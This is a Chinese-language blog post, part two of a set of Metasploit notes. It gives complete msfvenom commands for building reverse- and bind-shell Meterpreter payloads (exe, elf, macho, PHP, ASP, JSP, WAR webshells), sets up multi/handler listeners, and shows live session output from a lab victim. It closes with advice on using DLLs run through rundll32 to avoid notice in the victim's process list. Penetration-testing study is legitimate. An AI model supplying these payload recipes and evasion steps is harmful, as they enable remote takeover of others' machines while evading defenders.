您的位置 首页 网络安全

Metasploit使用笔记(二)

Metasploit之各种payload生成与实战作用详解

接上文Metasploit使用笔记(一)

  • 5-Metasploit_之各种payload生成与实战作用详解(反向)
  • 6-Metasploit_之各种payload生成与实战作用详解(正向)

0x1-Metasploit_之各种payload生成与实战作用详解(反向)

Metasploit 生成的 Payload分为正向和反向,这篇文章讲的是反向,如下图

82bdb561a603d663b4613ac0f414cc30

反向就是说目标执行了我们生成的Payload后,会主动连接我们的攻击服务器MSF

生成二进制文件

Windows

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Linux

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

生成Webshell脚本

在做web渗透的时候,经常会⽤到webshell,我们经常⽤的⼀句话⽤菜⼑连接,如何使⽤MSFVenom⽣成⼀个可以
⽤msf操作的webshell呢?

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >>shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<YourPort to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

如何生成Payload

用到的命令是msfvenom,具体可以看这篇文章:https://www.freebuf.com/sectool/72135.html

 

LHOST       填写的是攻击机器,也就是Kali的IP

LPORT       填写的是端口,一般填写的是高端口,如:6666、4444、8977等等,但是最好填写一下比较常用的端口,如:80、443、8080等等

 

生成shell.exe:

                msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.136 LPORT=8080 -f exe > shell.exe

               

                root@liuwx:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.136 LPORT=8080 -f exe > shell.exe

                [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

                [-] No arch selected, selecting arch: x86 from the payload

                No encoder or badchars specified, outputting raw payload

                Payload size: 341 bytes

                Final size of exe file: 73802 bytes

此时在当前目录下有一个shell.exe!

因为在文章开头说了,这是反向连接,那么就需要先在攻击机器上监听,然后再然后肉鸡运行我们的文件才可以连接!

msfconsole接收

ccd263a78ffb2ae6c9a960649889b1a1

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp //这个就是和上面msfvenom使用的payload是一样的
set LHOST 192.168.119.136
set LPORT 8080
run

接着我们放到Windows7下去执行这个二进制文件:

最后,来看看Metasploit这边的监听情况:

msf5 exploit(multi/handler) > run

[*] StartedreverseTCPhandleron192.168.119.136:8080
[*] Sending stage (179779 bytes) to 192.168.119.139
[*] Meterpreter session 1 opened (192.168.119.136:8080 -> 192.168.119.139:49213) at 2019-10-09 21:42:14 +0800

meterpreter >

 

可以看到,Windows7运行了刚刚msfvenom生成的shell.exe后,Metasploit这边反弹了一个meterpreter会话过来!

截图当前桌面      screenshot

meterpreter > screenshot

Screenshot saved to: /root/BwCxBWYB.jpeg

这个就是这么一个Windows反向cmdshell

因为刚刚我们所反弹回来了一个shell,假设我们要重新监听其他的payload,那么就可以使用background来返回msfconsole控制台窗口:

meterpreter>background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) >

 

如果想查看当前连接的肉鸡,就可以使用sessions查看在后台有哪些连接了MSF

如果想进入刚才那个meterperter,那么就sessions后面跟他的一个id

这样就进入了刚刚那个cmdshell里了

0x2-Metasploit_之各种payload生成与实战作用详解(正向)

生活不止眼前的苟且,还有诗和远方。Metasploit不只是反向,还有正向!

所谓正向,就是你拿着刀去砍肉;而反向就是你拿着刀,肉自己贴上来动

  • 使用场景

场景还是得具体看,⽐如⽬标机器不给其他除特定端⼝外的端⼝出站,那就只能能正向;还有⽐如有⼀种情况,⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通,因为其他机器防⽕墙都开着,为避免在有防⽕墙监控的情况下关闭防⽕墙⽽被发现,也只能⽤正向的马,然后通过开着防⽕墙的机器来进⾏端⼝的转发达到穿透的⽬的

msfvenom生成正向Paylaod

msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe 

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe

msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f dll >/root/bind_xx.dll 

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f dll >/root/bind_xx.dll

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f elf >/root/bind_xx.elf

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=<Attack Port> -f elf >/root/bind_xx.elf

因为我win7虚拟机是x64位系统,我就用这条命令:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9090 -f exe >/root/bind_xx.exe

在肉鸡上运行:bind_xx.exe:

可以看到,已经开放了9090端口!

接下来打开msfconsole对肉鸡进行连接(前提是对方防火墙是关闭了的):

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

其中LPORT需要设置为刚刚我们生成的Payload一样的端口,也就是9090:

还要设置一个RHOST,也就是肉鸡Win7的IP:192.168.119.139

设置完后就是这样的:

最后直接运行exoloit:

这个时候就反弹回来了一个Meterpreter会话回来!

同时,肉鸡win7那边就没有对9090端口进行连接了!

因为用了9090端口启用监听后,只会接收一次数据,无论成功或者失败,它都不会再监听了!

也就是说,如果连接失败了,那么就再运行然后再连接一次!

这是Metasploit生成正向的过程!

尽量不要生成exe

在真实环境中,如果使用msfvenom生成了一个正向Paylaod格式是exe,那么在进程中就会暴露!

一般用就用dll!

要运行dll必须使用rundll32.exe来start:

rundll32.exe文件在C:\Windows\System32\rundll32.exe:

使用方法就是 rundll32.exe xxx.dll,Start

可以看到,运行了之后,在进程中就没有可疑的exe文件了!

Meterpreter这边也是反弹了一个shell回来

本文来自网络,不代表F12sec立场,转载请注明出处:http://www.0dayhack.net/index.php/412/
M78sec_保安

作者: M78sec_保安

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

CAPTCHAis initialing...
联系我们

联系我们

QQ群:884338047

在线咨询: QQ交谈

邮箱: 2676666667@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部